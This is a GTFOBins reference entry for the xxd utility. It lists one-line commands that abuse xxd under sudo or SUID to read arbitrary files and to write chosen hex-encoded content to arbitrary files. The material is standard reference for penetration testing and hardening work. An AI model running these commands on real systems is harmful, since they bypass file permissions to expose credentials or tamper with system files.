GTFOBins.github.io/_gtfobins/xxd.md
2018-06-12 14:08:10 +00:00

489 B

functions
sudo-enabled suid-enabled file-read file-write
code
LFILE=file_to_read sudo xxd "$LFILE" | xxd -r
code
LFILE=file_to_read ./xxd "$LFILE" | xxd -r
code
LFILE=file_to_read xxd "$LFILE" | xxd -r
description code
The content of the file to write is given in hex dump (`data\n` is `646174610a`) LFILE=file_to_write echo "0: 646174610a" | xxd -r - "$LFILE"